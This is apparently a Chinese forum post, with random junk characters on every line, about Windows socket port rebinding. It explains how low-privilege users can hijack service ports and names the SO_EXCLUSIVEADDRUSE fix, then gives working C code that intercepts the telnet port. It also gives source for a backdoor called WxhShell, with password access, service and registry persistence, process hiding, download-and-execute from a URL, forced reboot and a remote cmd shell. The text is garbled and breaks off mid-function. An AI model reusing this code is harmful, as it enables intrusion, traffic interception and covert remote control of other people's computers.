在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
S~"1q 0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\`w!v,aM$ P#o/S4 saddr.sin_family = AF_INET;
!Jo3>!,j dzYB0vut@ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
O*3x'I*a yVThbL_YJ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
7w7mE gf!hO$sQ3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
uN`{; Av `{g8A P3 这意味着什么?意味着可以进行如下的攻击:
'1)BZ!
)z0qKb\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%0]vW;Q5 e^g3J/aU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{mPaloA [Rh[Z #6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
w=I'
CMRt ..qAE.%% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
V/Hjd`n)`i j(|G) F 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
L&1VPli DXlP(={* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Dc |!H{Yr hWK}] gF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
T>(nc" ( Nw@tlT4 #include
\14"B gj1 #include
=
GirUW D #include
sDnHd9v<?t #include
Dm/# \y3 DWORD WINAPI ClientThread(LPVOID lpParam);
-k{n"9a9? int main()
.gNWDk0$Y {
l-"c-2-! WORD wVersionRequested;
q/xMM`{ DWORD ret;
jR@j+p^e WSADATA wsaData;
:.['e` BOOL val;
Ghgx8 ]e SOCKADDR_IN saddr;
<@FOqi{o{ SOCKADDR_IN scaddr;
=>Y b~r71 int err;
&| %<=\ SOCKET s;
mLU4R Q}5 SOCKET sc;
.Gv9RKgd~ int caddsize;
>N>WOLbb7( HANDLE mt;
W
B)<B DWORD tid;
gB@Xi* wVersionRequested = MAKEWORD( 2, 2 );
$X_JUzb err = WSAStartup( wVersionRequested, &wsaData );
5Qhu5~,K if ( err != 0 ) {
Go3EWM`Cd8 printf("error!WSAStartup failed!\n");
LZm6\x return -1;
!=@Lyt)_b }
h)BRSs?v_D saddr.sin_family = AF_INET;
m"\jEfjO 0Vv6B2< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
kM5N#|! 6\ /x saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6V\YYrUz saddr.sin_port = htons(23);
vJDK]p<} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T1hr5V<U {
Ed ,`1+ printf("error!socket failed!\n");
O{a<f7 W return -1;
N-|E^XIV }
y0>asl val = TRUE;
d_=@1JM> //SO_REUSEADDR选项就是可以实现端口重绑定的
cVJ"^wgBt if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)%x oN< {
}\}pSqW printf("error!setsockopt failed!\n");
B7(~m8:eH7 return -1;
9tsI1]1[m }
<y=VDb/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
8*3o9$Pj //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
b'Qia'a% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L ^} Z:I G$pTTT6# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
OiX:h# {
Hrq1 {3~ ret=GetLastError();
$9<q'hf<w printf("error!bind failed!\n");
<uUQ-]QOIh return -1;
yjUZ40Dq }
Ov"]&e(I[ listen(s,2);
PE3FuJGz while(1)
QU^*(HGip {
r#iZ FL3q caddsize = sizeof(scaddr);
Jm$.$B&I //接受连接请求
}]_/:KUt sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
aAZS^S4v if(sc!=INVALID_SOCKET)
r=P)iE: {
0UZ>y/
C)= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
fyPpzA0 if(mt==NULL)
^I03PIy0l {
9Z]~c^UB printf("Thread Creat Failed!\n");
o&P}GcEIw break;
OQMkpX-dH }
P'f
=r% }
]|62l+ CloseHandle(mt);
[G2@[CtY1 }
}&D~P>1 closesocket(s);
nmZz`P9g WSACleanup();
"V-k_d " return 0;
hc
OT+L>
}
H-A?F^# DWORD WINAPI ClientThread(LPVOID lpParam)
b"n8~Vd {
w>Iw&US
SOCKET ss = (SOCKET)lpParam;
yG\^PD SOCKET sc;
a0I+|fR unsigned char buf[4096];
1=(jpy SOCKADDR_IN saddr;
)3# gpM long num;
_+PiaJ&' DWORD val;
?q a DWORD ret;
-F=?M+9[ //如果是隐藏端口应用的话,可以在此处加一些判断
rD=8O#m
g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
YoyJnl.?u saddr.sin_family = AF_INET;
.j?`U[V%a saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Qt` hUyL saddr.sin_port = htons(23);
!>QS746S@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
e$]` {
.4on7<-a printf("error!socket failed!\n");
-^sW{s0Rc return -1;
j1{|3#5V }
m>yb}+ val = 100;
xC N6? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
AsFn%8_I {
oSVo~F ret = GetLastError();
D4,kGU@ return -1;
zVN/|[KP4 }
3ARvSz@5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3m3ljy {
<Sds5 d ret = GetLastError();
,fWQSc\} return -1;
$VEG1]/svp }
fP3e{dVf if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
EUBJnf:q {
VB>KT(n-b printf("error!socket connect failed!\n");
l
e+6;'Q closesocket(sc);
S&/</% closesocket(ss);
3#GZ6:rVJ return -1;
aD)$aK }
!ieMhJ5r while(1)
o95)-Wb {
i%BrnjX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
cr GFU?8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
1B}q?8n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[/dGOl+ num = recv(ss,buf,4096,0);
&gF*p if(num>0)
m]H[$Q send(sc,buf,num,0);
OAigq6[, else if(num==0)
Zop3[- break;
x)evjX=q num = recv(sc,buf,4096,0);
A8,9^cQ] if(num>0)
M)v\7a send(ss,buf,num,0);
++ O
L&n else if(num==0)
OJ#ehw < break;
6 3TeTGp$ }
Xjb 4dip closesocket(ss);
8yW 8F26 closesocket(sc);
wyzx9`5~d return 0 ;
2n]UNC }
}YV,uJH[ '?| (QU:)F ? :StFlie ==========================================================
+_^Rxx!XA ggluQGA 下边附上一个代码,,WXhSHELL
2_S%vA<L 2MT_5j5[N ==========================================================
lT.Q)( t<~WDI|AN #include "stdafx.h"
y{&k`H :~uvxiF #include <stdio.h>
Yz<,`w5/6~ #include <string.h>
V+\L@mz; #include <windows.h>
nP]tc #include <winsock2.h>
Q?"o.T'; #include <winsvc.h>
IZ){xI #include <urlmon.h>
JFOto,6L: 2!-? #pragma comment (lib, "Ws2_32.lib")
kg,t[Jl #pragma comment (lib, "urlmon.lib")
1Yr&E_5/ N5W;Zx] #define MAX_USER 100 // 最大客户端连接数
b5!\"v4c #define BUF_SOCK 200 // sock buffer
NO$n-<ag #define KEY_BUFF 255 // 输入 buffer
PK&3nXF%4 C\-Abqc #define REBOOT 0 // 重启
FEOr'H<3x #define SHUTDOWN 1 // 关机
L >*
F8|g +SM&_b #define DEF_PORT 5000 // 监听端口
9gu$vF]9! w$5~'Cbi #define REG_LEN 16 // 注册表键长度
!v/j*'L<M} #define SVC_LEN 80 // NT服务名长度
GUX!kj Gp 8%n // 从dll定义API
F4P=Wz] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
B #o/3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tKr.{#) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.`I;qF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\o|5/N 1yFVF // wxhshell配置信息
L# struct WSCFG {
yQP!Vt^ int ws_port; // 监听端口
Vgh;w-a char ws_passstr[REG_LEN]; // 口令
Z)JJ-V!
int ws_autoins; // 安装标记, 1=yes 0=no
|AosZeO_ char ws_regname[REG_LEN]; // 注册表键名
~Onj|w7 char ws_svcname[REG_LEN]; // 服务名
72i]`
char ws_svcdisp[SVC_LEN]; // 服务显示名
-|1H-[Y( char ws_svcdesc[SVC_LEN]; // 服务描述信息
w@K4u{| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
W|~Jl7hs8Q int ws_downexe; // 下载执行标记, 1=yes 0=no
#=}dv8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=O~ J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
sObH#/l` 7z.(pg= };
O~p@87aq }"$2F0 // default Wxhshell configuration
A~2U9f+\ struct WSCFG wscfg={DEF_PORT,
t>f61<27eB "xuhuanlingzhe",
FWi c/7 1,
g&79?h4UXQ "Wxhshell",
t h!$R "Wxhshell",
bHJKX>@{ "WxhShell Service",
M-#OPj* "Wrsky Windows CmdShell Service",
Lg;b17 "Please Input Your Password: ",
YN=dLr([< 1,
SHoov "
http://www.wrsky.com/wxhshell.exe",
su?{Cj6* "Wxhshell.exe"
96V@+I };
ym\AVRO{ E1|> O // 消息定义模块
5g x9W\a ? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
98c##NV(7| char *msg_ws_prompt="\n\r? for help\n\r#>";
knX*fp char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ffvv8x char *msg_ws_ext="\n\rExit.";
xH,D
bAC; char *msg_ws_end="\n\rQuit.";
bCV3h3< char *msg_ws_boot="\n\rReboot...";
TO(2n8'fdO char *msg_ws_poff="\n\rShutdown...";
MC
8t"SB char *msg_ws_down="\n\rSave to ";
5}
v(Ks> 'ycr/E&m{ char *msg_ws_err="\n\rErr!";
>e
g8zN char *msg_ws_ok="\n\rOK!";
t)#dR._q 9/8#e+L char ExeFile[MAX_PATH];
+*I'!)T^B int nUser = 0;
uTWij4)a HANDLE handles[MAX_USER];
y v$@i A int OsIsNt;
|8QXjzH 2H,^i, SERVICE_STATUS serviceStatus;
sIVVF#0}] SERVICE_STATUS_HANDLE hServiceStatusHandle;
z%4E~u10 {Df97n%h; // 函数声明
# int Install(void);
1 #zIAN> int Uninstall(void);
NWSm int DownloadFile(char *sURL, SOCKET wsh);
)aV\=a |A int Boot(int flag);
"mbjS(-eg void HideProc(void);
}NH\Q$ IU int GetOsVer(void);
fXL&?~fS int Wxhshell(SOCKET wsl);
"8.to=Lx void TalkWithClient(void *cs);
_f"HUKGN int CmdShell(SOCKET sock);
/~8<;N>,+ int StartFromService(void);
%^`b) int StartWxhshell(LPSTR lpCmdLine);
^~p^N < {6y@;Fd VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
z<3{.e\e VOID WINAPI NTServiceHandler( DWORD fdwControl );
?Aq
\Gr |D@/4B1P // 数据结构和表定义
Z(|@C(IL0\ SERVICE_TABLE_ENTRY DispatchTable[] =
mQbpv'N {
@]{+9m8G@ {wscfg.ws_svcname, NTServiceMain},
IIZu&iZo\ {NULL, NULL}
wsfN \6e };
zL^`r)H Ky r3)1#J // 自我安装
O_E\(So int Install(void)
0xN1Xm0d {
u{asKUce\ char svExeFile[MAX_PATH];
6\+ZTw HKEY key;
jD<fu strcpy(svExeFile,ExeFile);
M1Frn n lc:dKGF6 // 如果是win9x系统,修改注册表设为自启动
(plsL
if(!OsIsNt) {
E43Gk!/|( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Wl29xY}`{! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!ek};~( RegCloseKey(key);
%(P\"hE' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5xS
ze; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$i|c6& RegCloseKey(key);
O<*l"fw3 return 0;
b`9J1p.; }
,k9@%{4 l }
z PW [GkD }
<P%<EgOE else {
FX->_}kL= 2!w5eWl, // 如果是NT以上系统,安装为系统服务
Juhi#&`T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#1-2)ZO. if (schSCManager!=0)
_EusY3q {
|}FK;@'I 6 SC_HANDLE schService = CreateService
rnkq. (
lI)RaiMr= schSCManager,
pv}k=wqJ1 wscfg.ws_svcname,
t+H=%{z wscfg.ws_svcdisp,
\{GBaMwG~ SERVICE_ALL_ACCESS,
vMlT SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
g?9IS,Gp SERVICE_AUTO_START,
.`ND SERVICE_ERROR_NORMAL,
QE#Ar8tU svExeFile,
G
$F3dx.I NULL,
San=E@3}v! NULL,
sC<
B NULL,
!5wuBJ0 NULL,
mY'c<>6t NULL
aFbIJm=! );
3IlflXb if (schService!=0)
rw|;?a0 {
=JR6-A1> CloseServiceHandle(schService);
5PRS|R7 CloseServiceHandle(schSCManager);
NCXr$ES{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
2w7PwNb*32 strcat(svExeFile,wscfg.ws_svcname);
#^] v5s if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4PcsU HR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
H[x$65ND RegCloseKey(key);
C4].egVg return 0;
)' hOW*v }
Q4[^JQsR2 }
Y30T>5 CloseServiceHandle(schSCManager);
#+Pk_? }
O} &%R: }
eM) I% )tD[Ffvr return 1;
c1wP/?|.> }
FG6bKvEQm^ wuV*!oef o // 自我卸载
MB"TwtW int Uninstall(void)
y$Y*%D^w {
>QcIrq%= HKEY key;
r](%9Y
7<Yf if(!OsIsNt) {
1FPt%{s3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C||9u}Q< RegDeleteValue(key,wscfg.ws_regname);
Hf#VW^ RegCloseKey(key);
6F)^8s02h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$GI
jWlAh RegDeleteValue(key,wscfg.ws_regname);
Pw:{ RegCloseKey(key);
g,YJh(|#{ return 0;
T`7HQf ; }
oRALhaI }
Z=|NoDZ }
yPmo@aw]1 else {
~CRd0T[^ PL}c1Ud SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
W74Y.zQ if (schSCManager!=0)
M];?W {
l`wF;W! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
"{@Q..hxC if (schService!=0)
)
u(Gf*t {
5L!cS+QNU if(DeleteService(schService)!=0) {
:ot^bAyt| CloseServiceHandle(schService);
!4 =]@eFk CloseServiceHandle(schSCManager);
pVa9g)+z} return 0;
_[:>!ekx }
li +MnLt CloseServiceHandle(schService);
-"9&YkN }
..=WG@>$+ CloseServiceHandle(schSCManager);
N+3]C9 2o }
6`JY:~V" }
Ob~7r*q bZKlQ<sI return 1;
6]D%|R,Q#} }
h@H8oZ[ IHs^t/;Iv // 从指定url下载文件
F^/b!)4X int DownloadFile(char *sURL, SOCKET wsh)
f7y3BWOi] {
L#>^R HRESULT hr;
4]P5k6nV char seps[]= "/";
ToXgl4:kd char *token;
!VoAN5#; char *file;
R2`-*PZ_ char myURL[MAX_PATH];
(]}52%~ char myFILE[MAX_PATH];
>69- [#P! 6 *GR_sMm strcpy(myURL,sURL);
Ks>l=5~v| token=strtok(myURL,seps);
S5(VdMd"^ while(token!=NULL)
iKVJ
c=C {
t~0!K;nn file=token;
<}
BuU! token=strtok(NULL,seps);
k7cM.<s! }
i
.GJO +K 1I#]OY#> GetCurrentDirectory(MAX_PATH,myFILE);
~B704i strcat(myFILE, "\\");
<{Pr(U*7} strcat(myFILE, file);
7J6D wh{ send(wsh,myFILE,strlen(myFILE),0);
m(0c|- send(wsh,"...",3,0);
+~{Honj[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
vWh]1G#'p[ if(hr==S_OK)
&&s3>D^Ta return 0;
f$|AU-|< else
qZwqnH return 1;
t"Tv(W?_ t8:QK9|1 }
m~;}8ObQE R<eD)+ // 系统电源模块
M}Obvl int Boot(int flag)
)&F]j {
HVLj(_
A HANDLE hToken;
v\}s(X(J TOKEN_PRIVILEGES tkp;
>oHgs Q?xCb if(OsIsNt) {
q,%lG$0v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
g-8D1.U LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Wq"5-U;:w tkp.PrivilegeCount = 1;
YA:!ULzR* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\nbGdka AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
"+sl(A3`U if(flag==REBOOT) {
A(84cmq!q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`ttqgv\ return 0;
,3P@5Ef }
S9mcThcZ else {
TRJ5m?x if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
"IuHSjP return 0;
9,J^tN@^ }
AL{r/h }
hVe39BBtO else {
,u@Vi0 if(flag==REBOOT) {
]Dd}^khv
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ur@"wcl"V return 0;
<oKoz0! }
8ZN"-]* else {
oQL$X3S if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
BTAt9Z8qK return 0;
3vC"Q!J& }
4 >`2vb }
/73ANQ" C
&~s<tcn return 1;
vAt]N)R }
'Z}3XVZEN QJ^'Uyfdn // win9x进程隐藏模块
my+2@ln void HideProc(void)
f j:q>}V {
{W11+L{8 W&Xm_T[Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
o$rA;^2X if ( hKernel != NULL )
\3XG8J {
)C&'5z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
O-,0c1ts ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!eP)"YWI3 FreeLibrary(hKernel);
$_Kcm"oj }
Yj{-|2YzL t#N@0kIX. return;
f =T-4Of }
w,!IvDCAw Y2d(HD@ // 获取操作系统版本
m4_ZGjmJM int GetOsVer(void)
sg9 {
z~($
" OSVERSIONINFO winfo;
IY40d^x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~m6b6Aj@6 GetVersionEx(&winfo);
ttd
^jT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
aESlbH return 1;
2kkqPBc_
else
!L3\B_# return 0;
wi-F@})f# }
>`=9So_J k;(r:k^ // 客户端句柄模块
y"T(Unvc int Wxhshell(SOCKET wsl)
KJYcP72P {
HaA2y SOCKET wsh;
+[B@83 struct sockaddr_in client;
(,I9| DWORD myID;
a\ZNN k E@/*eJ while(nUser<MAX_USER)
Msst:}QY {
]S+KH
\2 int nSize=sizeof(client);
Y_=
]w1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:ZsAWe{%,J if(wsh==INVALID_SOCKET) return 1;
sL4j@Lt xRbtiFk9H handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*&doI%q if(handles[nUser]==0)
z]HaE|j}S closesocket(wsh);
1{-yF :A else
bR'UhPs-8; nUser++;
3XSfXS{lwP }
oYAHyCkVq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%Xe 74C"
{v}BtZ return 0;
K};~A?ET,h }
1"S~#
P^^WViVX // 关闭 socket
{wh, "Ok_ void CloseIt(SOCKET wsh)
GQ\;f {
gaWJzK
Yc_ closesocket(wsh);
i)q8p nUser--;
}!QVcu"+t/ ExitThread(0);
?p&( Af) }
:k Kdda<g# @MKf$O4K // 客户端请求句柄
a\B'Qe+ void TalkWithClient(void *cs)
-8Q}*Z {
~v6]6+ i9eE/
. SOCKET wsh=(SOCKET)cs;
2*5pjd{Kt char pwd[SVC_LEN];
o@[oI\Vr! char cmd[KEY_BUFF];
cD ?'lB- char chr[1];
fk2p} int i,j;
S+bpWA 8k )i-&R while (nUser < MAX_USER) {
+'9E4Lpx agd^ga3 if(wscfg.ws_passstr) {
D}~uxw;[^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!W/"Z!k //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^4Tf6Fw# //ZeroMemory(pwd,KEY_BUFF);
9>r@wK'Pn i=0;
SNc $! while(i<SVC_LEN) {
|+Cd2[hN )1gOO{T]h? // 设置超时
<.=-9O6 fd_set FdRead;
bKt4 struct timeval TimeOut;
I9L7,~s FD_ZERO(&FdRead);
~oz??SX FD_SET(wsh,&FdRead);
W!V-m TimeOut.tv_sec=8;
]([^(&2 TimeOut.tv_usec=0;
c0Yc~&RF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\:Q)X$6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
u;9a/RI +1nzyD_E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
>e!Y 63` pwd
=chr[0]; j8W<iy
if(chr[0]==0xd || chr[0]==0xa) { 0M!GoqaA
pwd=0; m,)o&ix1
break; ;:
0<(!^*
} k:8NOx|s "
i++; t"?)x&dS
} $]gflAe2
Ch_eK^ g1
// 如果是非法用户,关闭 socket RMHJI6?LB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y I} >
} kD}vK+
RT<HiVr`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >%LY0(hY3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hA1p#
L&0aS:
while(1) { YySo%\d
z) x.6
ZeroMemory(cmd,KEY_BUFF); XD Q<28^
dP?QPky{9
// 自动支持客户端 telnet标准 ]GBlads
j=0; W<:x4gBa
while(j<KEY_BUFF) { $|t={s34
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hC?rHw
H>
cmd[j]=chr[0]; %Ix2NdC
if(chr[0]==0xa || chr[0]==0xd) { p8j*m~4B
cmd[j]=0; [l}H%S
break; x/0loW?q^
} t==\D?Rt
j++; y@r g_Paq
} 6+4SMf3
3_"tds <L
// 下载文件 o,RiAtdk
if(strstr(cmd,"http://")) { w+$~ds
send(wsh,msg_ws_down,strlen(msg_ws_down),0); hQeG#KQ
if(DownloadFile(cmd,wsh)) Ax*xa6_2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mrBK{@n
else )Em`kle
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j/;wxKW
} ]f>0P3O5&
else { pKU(4&BxX
x@3cZd0j#
switch(cmd[0]) { EiVVVmm!
_&r19pY
// 帮助 Ol;DJV
case '?': { uU=!e&3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \h?6/@3ob
break; @VQ<X4Za
} l{*Ko~g
// 安装 1024L;
case 'i': { e*Y<m\*
if(Install()) ^!z(IE'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MT6"b
else Yl=-j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >[;L.
break; 8erG](
} +J#8wh
// 卸载 wVs"+4l<
case 'r': { _bt9{@)
if(Uninstall()) ]Y@_ 2`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F` &W5[
else GK;IY=8W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }R/we`
break; LTB
rg[X
} Bg}l$?S
// 显示 wxhshell 所在路径 BkP4.XRI
case 'p': { *5{1.7
char svExeFile[MAX_PATH]; ~n!&~
strcpy(svExeFile,"\n\r"); 11c\C Iu
strcat(svExeFile,ExeFile); _-rC]iQJ55
send(wsh,svExeFile,strlen(svExeFile),0); -/2B fIq
break; jib pZ)
} m&s>Sn+
// 重启 AD+OQLG]`
case 'b': { &TL"Hd
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J*38GX+
if(Boot(REBOOT)) \(--$9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @v3)N[|d
else { z$Le,+
closesocket(wsh); vK`HgRQ(C
ExitThread(0); '$rCV,3q
} {rK]Q! yj
break; (UCCEQq5
} zszmG^W{
// 关机 |6;-P&_n
case 'd': { ||ugb6q[6B
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0+u>"7T
if(Boot(SHUTDOWN)) ^qi+Y)dU|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9hssIZO
else { KuW>^mF(I
closesocket(wsh); )FPn_p#3]
ExitThread(0); q`?M+c*F
} +25=u|#4r
break; e-OKv#]
} 1z0|uc
// 获取shell kKjcW` [
case 's': { iSUu3Yv,_m
CmdShell(wsh); UWhJkJsX
closesocket(wsh); 'IT]VRObP
ExitThread(0); ~ch%mI~
break; ,fqM>Q
} L62%s[
// 退出 A\W)uwyN
case 'x': { tCm]1ZgRW
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f/s" 2r
CloseIt(wsh); UR9\g(
break; :H&G}T(#
} a>rDJw:
// 离开 &W c$VDC
case 'q': { !|j|rYi-
send(wsh,msg_ws_end,strlen(msg_ws_end),0); E m^Dg9
closesocket(wsh); hgzNEx%^q
WSACleanup(); xRdx`
YY u
exit(1); {jH'W)nR
break; M<*WC{
} jVZ<i}h0B
} yimK"4!j5A
} e /1x/v'
+95v=[t#Ut
// 提示信息 Yi)s=Q :
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :YOo"3.]
} %K.r rn M
} N3*1,/,l.
F_m'
9KX4E
return; Jz3,vVfQ:
} !s?SI=B8
FvYciU!
// shell模块句柄 as('ZD.9
int CmdShell(SOCKET sock) -|f0;Fl
{ /AyxkXq
STARTUPINFO si; X/90S2=P
ZeroMemory(&si,sizeof(si)); c8Ud<M .
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zd%wX<hU"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XogCq?_m
PROCESS_INFORMATION ProcessInfo; pPag@L
char cmdline[]="cmd"; gu%i|-}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k3nvML,bv
return 0; (>f`>6 V
} eG8l^[
U djYRfk
// 自身启动模式 ("r:L<xe&
int StartFromService(void) Ir5|H|b<
{ \G7F/$g
typedef struct awvP;F?q|
{ -ucgET`
DWORD ExitStatus; 8D,*_p
DWORD PebBaseAddress; D4{KU%Xp&
DWORD AffinityMask; QxGcRlpLK
DWORD BasePriority; %[s%H)e)
